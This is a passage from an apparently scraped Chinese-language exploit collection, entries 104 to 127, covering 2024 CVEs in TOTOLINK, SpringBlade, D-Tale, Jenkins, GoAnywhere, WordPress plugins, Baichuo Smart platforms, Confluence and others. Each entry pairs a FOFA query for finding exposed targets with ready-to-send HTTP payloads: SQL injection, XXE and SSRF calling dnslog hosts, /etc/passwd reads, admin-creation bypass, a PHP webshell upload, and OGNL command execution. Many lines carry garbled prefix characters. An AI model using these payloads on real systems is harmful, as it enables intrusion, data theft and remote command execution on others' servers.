User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
$ u/ Q. D8 S3 O+ E4 UAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
% l  s7 [7 D) T0 n7 y( a( g
9 o- P- Y: V9 y! K9 O$ C
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
4 o0 K' P) o3 E- o<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

$ ?1 y% X/ x3 d; E
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; \% q8 M! \1 B: @- BCVE-2024-0569
$ R: |! B) I5 y1 }  s( w/ l3 R, cFOFA：title="TOTOLINK"
9 R+ O$ y' I* kPOST /cgi-bin/cstecgi.cgi HTTP/1.1
/ R) q% \; P! n4 O, D. vHost:192.168.0.1
Content-Length:41
& c# [2 {- y  l1 b' g. `$ VAccept:application/json,text/javascript，*/*;q=0.01
6 P" M+ o( t- C; y# WX-Requested-with: XMLHttpRequest
; q' K7 w8 \% [" a2 RUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
" S2 X" f2 A6 ?: IOrigin: http://192.168.0.1
& \, Z0 U, {) T" b: _, AReferer: http://192.168.0.1/advance/index.html?time=1671152380564
& R1 U2 |& p) o; h' Y* vAccept-Encoding:gzip,deflate
) X' [; ~1 n7 o$ b* ^Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
1 ]) B' c# J3 L" O- VConnection:close

{
"topicurl":"getSysStatusCfg",
"token":""
( z" L% k# S7 _/ x5 Q( g* I}

  {: A5 r4 T) L$ @105. SpringBlade v3.2.0 export-user SQL 注入
) g$ \$ x+ F+ ^; E2 H  j! lFOFA：body="https://bladex.vip"
- ^( B' H% B! [. b' F- |http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

2 @1 G, y! j, f. p1 c106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
4 ?; {* ]$ a: c1 PHost: your-ip
( u0 ]: e* M, {7 r  OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
9 N) T& [+ K) B5 \6 H- Q; X& r3 a/ p1 \Accept-Language: zh-CN,zh;q=0.9
: F" @" }6 K2 T. M) tConnection: close
1 B: Q) _0 b4 a; w0 P- O, D
; g1 t6 D4 A" A, M% `
$ [; u; G) w7 B6 a107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
) K1 N/ q; S! g1 z9 ]% eGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
, O3 t7 N7 [9 a) h2 cHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# K7 `  Q! i! _2 |9 L% n8 M, P7 y3 zBlade-Auth:替换为自己的
Connection: close


" A' C! u9 E7 u% K( r/ f2 w108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
4 ]- d: d2 I- p+ WHost: your-ip
2 e2 G9 A- P, g0 h/ AAccept: application/json, text/plain, */*
5 d1 t5 K; G, t- j4 A( aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
/ [4 n; K& \& V* d+ \" cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* ~8 X; l4 T" `; e& ?Connection: close

8 [" x! {) m; ^( @8 h
109. Jenkins CLI 任意文件读取
9 F& {5 q% y0 |1 f. Z5 K8 O7 DCVE-2024-23897
FOFA：header="X-Jenkins"
- F% }7 ]( q4 X5 k# ^3 r% u  g2 f- xPOST /cli?remoting=false HTTP/1.1
% R) ?; u1 t" G& |( c6 t2 ^Host:
Content-type: application/octet-stream
6 q& i! S2 q/ F+ wSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
/ g* }: o" F* _. q7 HConnection: keep-alive
8 L# {, t  ?  r4 qContent-Length: 163
  F! f( s( T0 t$ E- x: J
# s0 @2 w) [$ y& O$ m) Wb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
9 Q$ h" O: k3 R( M, F) l
+ }/ Q, ?! T1 d3 l8 Q
* M3 a$ M+ _3 _8 YPOST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; }* S8 {; @# Ddownload
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

0 K4 s1 C7 E# L
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 `; a( L+ @- a4 Q. wjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


+ H! e+ \, u: E9 {: L& I110. Goanywhere MFT 未授权创建管理员
  h! r8 I+ k, J, RCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
  N* h3 o  \6 bConnection: close
5 B3 ~3 y% f& {/ ~" p/ [; J% MAccept: */*
Accept-Language: en
Accept-Encoding: gzip
- u, u. A, Z, {1 k. b$ S  ^

111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
7 K' n  r  l' a# A7 bFOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
! i, J! x/ Q, x8 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) y. \) `* Z- u6 GConnection: close
* m; y! g5 t! GAccept: */*
$ Q! H- a( W! bAccept-Language: en
Accept-Encoding: gzip
2 h4 g5 \- k! }
* ^* u9 a* n+ u! ^
- R$ @4 o; Z- B+ D1 j112. WordPress Plugin NotificationX SQL 注入
4 |% v/ K( M6 K  E* Q+ l# }" G. mCVE-2024-1698
  z0 F; Z6 }, y9 ?* nFOFA：body="/wp-content/plugins/notificationx"
; a2 z! w  _$ r" }$ E- iPOST /wp-json/notificationx/v1/analytics HTTP/1.1
, w' J# F9 p! o' f) KHost: {{Hostname}}
Content-Type: application/json

* N. u, `0 b9 i; \8 |" ^4 O+ r{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
8 F, f6 y1 h6 h, G2 L5 l# L1 Z: `1 f
9 @5 T. j. S3 c' X, T6 p
113. WordPress Automatic 插件任意文件下载和SSRF
, [' M" A! g. _; QCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
1 N5 G" G& V4 B, K* u; R+ `- QGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
2 c! f4 O  E( r6 lHost: x.x.x.x
+ W/ m$ J5 O8 W( |7 dUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
/ }$ Z0 r7 S: }. v2 K( D
9 J* x! N8 q+ ^3 n
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
% g7 a" x) P" t- @Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 o. e: K1 \, Q7 E# F; \* Q9 GAccept-Charset: utf-8
7 j( n5 a/ z1 D. M: f' E4 ]& ~Accept-Encoding: gzip, deflate
Connection: close


4 u" p9 X# G5 w0 f9 f+ @* q6 a115. WordPress Bricks Builder <= 1.9.6 RCE
# d8 i- s3 T. y, v: Q. f) R  Z$ [CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
/ o" S" R3 g5 Z& d8 u, W5 A/ T第一步，获取网站的nonce值
: ?! x1 i: \8 W2 V( l  d' ~( pGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


9 v# q7 c6 Y2 p3 v5 x% o+ l3 c9 ~第二步替换nonce值，执行命令
0 Y) A+ o2 Q  g0 u8 |POST /wp-json/bricks/v1/render_element HTTP/1.1
3 P: b$ x8 e, c# h. @. V5 N$ hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 V- N& [- z3 S" `# L# Y+ RConnection: close
1 q1 E1 s/ T/ F" u5 @2 n& E  f  yContent-Length: 356
Content-Type: application/json
: \: b) d1 R8 WAccept-Encoding: gzip

{
"postId": "1",
9 s  ]; H& i6 w3 M+ Z; i* z- s1 `  "nonce": "第一步获得的值",
  "element": {
0 ]+ `6 g: Q  h# e8 @$ r    "name": "container",
" R: z0 O& }0 C- o8 E' E    "settings": {
      "hasLoop": "true",
      "query": {
5 a8 ?, S" N' A' S2 ^        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
1 k. v0 F, k- p* s% ]% x        "objectType": "post"
      }
5 I5 B+ O- T/ C1 X5 d( g7 B: P8 {    }
9 _, F3 Y7 ~' f5 U* t  }
5 J5 G6 r2 h9 b3 _$ R}


116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
/ L3 h: {& V2 t  U% j# L) kPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
% Q6 Y% |" M3 c( i1 t% OHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
0 Z8 E# Q7 x; z* i+ n/ O" Y6 }, I
% r7 s9 ~$ V+ u/ }& k1 \----------767099171
/ V8 u4 p- E) l% W" bContent-Disposition: form-data; name="action"
configuration_saveconfiguration
$ q3 X1 e8 j4 b6 n7 I( h  C----------767099171
- T% D6 R$ C7 P( JContent-Disposition: form-data; name="form_request"
( v* _* _+ Q, q& g0 `' Djssupportticket
& m$ A8 `9 L- e) e----------767099171
& w! s  s" O6 `8 gContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
8 x5 ~4 N* r, D5 u1 X----------767099171--
. O4 ]2 c/ H3 j( ^6 n0 j. J

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
2 S5 B4 U. W; i: hFOFA：body="/wp-content/plugins/LayerSlider/"
8 D( q& f# O! Q7 a% B& m5 R2 v) aGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
: `! }3 y" G0 |Host: your-ip
$ y9 w1 ^( Q( aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! n4 N! @% Y+ ^1 o1 R3 Q! iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 I7 q. z7 j4 W3 M4 ^4 ?8 m  k+ kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
& [2 @8 n# U8 HConnection: close
  K' {+ d9 H4 y$ mUpgrade-Insecure-Requests: 1


. x' o) P6 r; i7 r! x* ~9 u: L118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
( ^  }7 ]9 s0 Q) i! ?CVE-2024-0939
FOFA：title="Smart管理平台"
) u4 j) P. l6 C" \; i% h) JPOST /Tool/uploadfile.php? HTTP/1.1
5 h$ P  h" t" G5 h2 EHost: 192.168.40.130:8443
1 T8 U) L, L- w$ ]+ o. lCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
& h. z0 I) l' h, q( r4 k! q8 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
1 p5 j3 u) S  w2 F7 s2 i5 A. J1 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' I$ a$ V( u8 R: u4 oContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
) t: Q/ H( z9 HContent-Length: 405
: q- \& J& y5 bOrigin: https://192.168.40.130:8443
- @0 ^- P3 c1 W: R$ [Referer: https://192.168.40.130:8443/Tool/uploadfile.php
( k. o! r  [1 B* c; |Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
: P; Q+ `3 Y$ n0 Z; A* ]+ XSec-Fetch-Site: same-origin
! O: v$ A+ b% n) x) g& x" RSec-Fetch-User: ?1
Te: trailers
Connection: close

. i$ p. _# \( O- M7 |0 E-----------------------------13979701222747646634037182887
% u2 L; D! P2 X, ]! _$ M8 cContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
& f8 K2 U4 \1 Y1 t5 U* f
+ X) P; }# c8 i. H<?php
system($_POST["passwd"]);
1 z/ Y" D! @. W5 ^& d" N?>
! Y6 C4 j  i$ Z5 K: w0 [' x# U-----------------------------13979701222747646634037182887
$ k5 h* Q9 g* V) [% N3 _7 E' I$ hContent-Disposition: form-data; name="txt_path"
1 y2 m6 v: f8 k, o
/home/src.php
2 D! V( {( t5 L1 v-----------------------------13979701222747646634037182887--
& |+ j$ F, a6 ?: F% R* N* o' J$ g* _
' E8 n5 k7 u7 Z* R6 Z6 I
$ J0 Q3 D& w7 k8 F: U8 }访问/home/src.php
& G( w8 _  d' U& q5 T$ w& Y
* M0 t, u. b. \8 p1 _7 v119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 Z$ L1 C! N% O, x6 @- pCVE-2024-1254
1 Z7 B" Z8 f( l8 U6 oFOFA：title="Smart管理平台"
" d( g1 [6 \' {( l先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
4 ^- S+ p, r; E% @, j2 m  E6 x7 c' `Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
4 c, _4 v( w: C% v+ D% x" _% U7 P$ SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
6 s( T# Y+ V/ W# @: TAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 J; T1 }$ O+ r( S) ~* Z2 c1 pAccept-Encoding: gzip, deflate
3 X, [6 s* C* s; y1 k8 @Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
0 c. x( |& r$ k* H( TReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
: ^+ E% `. |1 h, L# }Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
! D3 n6 q- k9 ~" B8 _Sec-Fetch-Site: same-origin
: f5 H- o" t' k3 M5 m) f) _" `1 SX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
/ [) T) L; D; e7 j8 J* A; hX-Remote-Addr: 1.1.1.1
Te: trailers
# i; g/ A8 Z/ x( Y% Z9 lConnection: close

/ V$ W& ]% u$ K3 Z! u! w6 V" D: Csrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
# o+ k- a2 v: @7 x% c
7 e, h4 A8 r5 b+ o7 I) X
- N$ {) f: i6 g3 \8 S) ?5 `120. 北京百绰智能S40管理平台导入web.php任意文件上传
" f1 V! q" z# |9 W5 `CVE-2024-1253
2 }% D) z1 K* d& Y) {- p+ B- C0 b; ]FOFA：title="Smart管理平台"
$ J5 S, X. r+ H3 ^1 E9 P9 b$ aPOST /useratte/web.php? HTTP/1.1
" k$ u& h, u/ |+ WHost: ip:port
* X3 a: f: U# }+ B7 oCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
$ N: u8 D3 {2 A1 E  KUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
. z$ A& U! I) {& V1 L' o" MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" S4 M) N. c9 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
2 Q7 d, T% Y8 W# jContent-Length: 597
5 Q2 \% [- t) B: D9 j$ AOrigin: https://ip:port
$ h4 @+ e* e" A  T9 v0 gReferer: https://ip:port/sysmanage/licence.php
  j1 j. A: @" A5 ~& m* ?% {7 ?0 [: UUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

# {, ?  U# N7 T) N+ R& F& x3 v-----------------------------42328904123665875270630079328
, @/ B- N/ B1 H4 PContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
5 d" C+ @: W# ^- G-----------------------------42328904123665875270630079328
& n# z0 x  U5 B) w& `* kContent-Disposition: form-data; name="id_type"
& s6 H9 }! Q  b
1
1 B+ C( S; j8 |- ]" D- l-----------------------------42328904123665875270630079328
: A5 w7 G. r4 M# u, r+ QContent-Disposition: form-data; name="1_ck"

: H1 ]9 p, q1 \0 q; P* p9 Y1_radhttp
/ ^# A8 S4 D, [- j0 Q8 D-----------------------------42328904123665875270630079328
- c# I; J0 t+ ~$ n$ E8 e2 l6 ?Content-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328

; }* r1 m- T& j3 }- m( Q' q
文件路径/upload/2.php

6 L4 r! j: ]& e! M  O# y121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 \* `5 E1 z4 L/ sCVE-2024-1918
FOFA：title="Smart管理平台"
. ~; N, `% O: }* r" m7 DPOST /useratte/userattestation.php HTTP/1.1
6 Z) P. W+ h: E/ I1 [2 Z" cHost: 192.168.40.130:8443
; D+ x, X  `, s5 d. wCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
8 H5 C4 G" r/ F, }. BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
' Z0 L* r( p' g7 g5 U& EContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 h4 J4 K" O/ }9 HContent-Length: 592
Origin: https://192.168.40.130:8443
) o/ v2 ^& \# E/ @/ A0 n: @5 wUpgrade-Insecure-Requests: 1
/ z. s0 H( G) C4 o& j- z: kSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
2 O' T, G$ K, |0 P( Z- rSec-Fetch-Site: same-origin
% T/ t( `% b* `/ {2 R- d! u" e3 ZSec-Fetch-User: ?1
2 v7 H! y2 {9 B  aTe: trailers
Connection: close
) _* Q+ }5 X% ~% f4 ]1 x% B; Q/ `
7 U+ q+ o, U% C/ c' ?1 I-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
+ @0 z9 }# K7 y' I+ U
6 m  H6 L9 I* Z6 L0 T1
. @4 Q* D5 @7 x' P-----------------------------42328904123665875270630079328
5 _! H5 j) B# q4 V4 Q, K! LContent-Disposition: form-data; name="1_ck"

8 E" K/ z. x% h. [9 O/ q1_radhttp
! L9 B% H+ `/ j7 x2 r8 Z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
' @  x& Z% e. X: b, o6 e
. H( n' f* h9 I8 h: j1 iset
-----------------------------42328904123665875270630079328


: b. i  }& o" Y5 m+ q$ k4 Zboot/web/upload/weblogo/1.php
" s1 n9 b/ O) T( P2 Q
2 [+ E- Q7 h" Q5 i122. 北京百绰智能s200管理平台/importexport.php sql注入
/ c1 k  m& _! b  {; I6 gCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
" j( r- t( z1 ^& P. Y# e; I, yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* s: z  y+ L, I! D* \4 i+ Z  z( J9 ~Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  e: Z0 R  F& NAccept-Encoding: gzip, deflate, br
5 `/ V8 B* w! m* {, {) w2 `' eUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
8 O+ H# f. f$ n, Q2 f: MConnection: close


123. Atlassian Confluence 模板注入代码执行
4 e/ M% c# w2 e  x2 i# v" D3 N& cFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
* @! B# b9 }9 e8 EHost: localhost:8090
9 G: E$ Y: U! {( WAccept-Encoding: gzip, deflate, br
Accept: */*
7 }/ G: f0 ]' P: ^7 e" x/ PAccept-Language: en-US;q=0.9,en;q=0.8
- V( \% s! E! X* v" ~( s2 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
; Z8 l# @9 F! G* hConnection: close
# V5 i, @: \8 k) l0 z2 m7 eContent-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
: C/ t! U1 f  p+ ZFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 [- b* k( Z& T7 KContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
# v0 @5 p! L, H3 y4 t. E$ h1 i  {Accept-Encoding: gzip, deflate, br
( n* q4 X- y$ P9 D! a: PAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% z, a6 J" Y1 X2 BContent-Type: application/x-www-form-urlencoded
$ h8 t4 v5 N7 u, H" u3 S8 T- n
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
6 Q# i% l0 Z  `( a% l0 O

" u6 K! U$ [$ p1 Q/ v7 R* Z2 xhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
: t9 F2 e' P' E/ J. |
. a# W9 e$ l! z3 Y5 U! e9 `125. ConnectWise ScreenConnect身份验证绕过
2 ^$ f9 T  k( k4 @" W( H  OCVE-2024-1709
3 Z, ~4 @. }' Y5 g% y1 tFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

/ w& ^1 n) ~: M* }+ ?- M
使用方法
3 q3 W' P. R  ]8 K. n* |4 Gpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
( j9 h2 B1 S  W; O4 I

3 [! t# a& ~8 a* T8 \创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
0 G1 A9 M5 d+ P! J  b' z* sFOFA：title=="ComfyUI"
' [& C* N- `" w  A; ^/ fGET /static/../../../../../etc/passwd HTTP/1.1
- K- \. W5 F# u$ k$ LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
9 @$ ^9 N9 ?: U# CConnection: close
Accept: */*
Accept-Language: en
# O- P4 O+ z: J6 `! u( |Accept-Encoding: gzip

  r: b: `/ F$ n
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
. ^  r. p8 ?. W. @Content-Length: 415
# ~5 Y3 {: ~/ G% B# r# qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, V- @& @8 P$ W: V: p6 k7 CAccept-Language: zh-CN,zh;q=0.9
Connection: close
; Q, ~) K+ [7 e0 e7 EContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
- {8 ]$ j& [. i/ f/ \Purpose: prefetch
Sec-Purpose: prefetch;prerender
4 T- a5 m; t# n. \/ L4 t
2 v0 r# c$ ]/ }8 y! w------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
9 P5 e. j9 U! v7 D* J0 l
/ j/ B/ p5 B' n5 ~# u/ J+ ZBIM
6 ^& f4 \5 t% @5 Q* m' @------WebKitFormBoundaryJGgV5l5ta05yAIe0
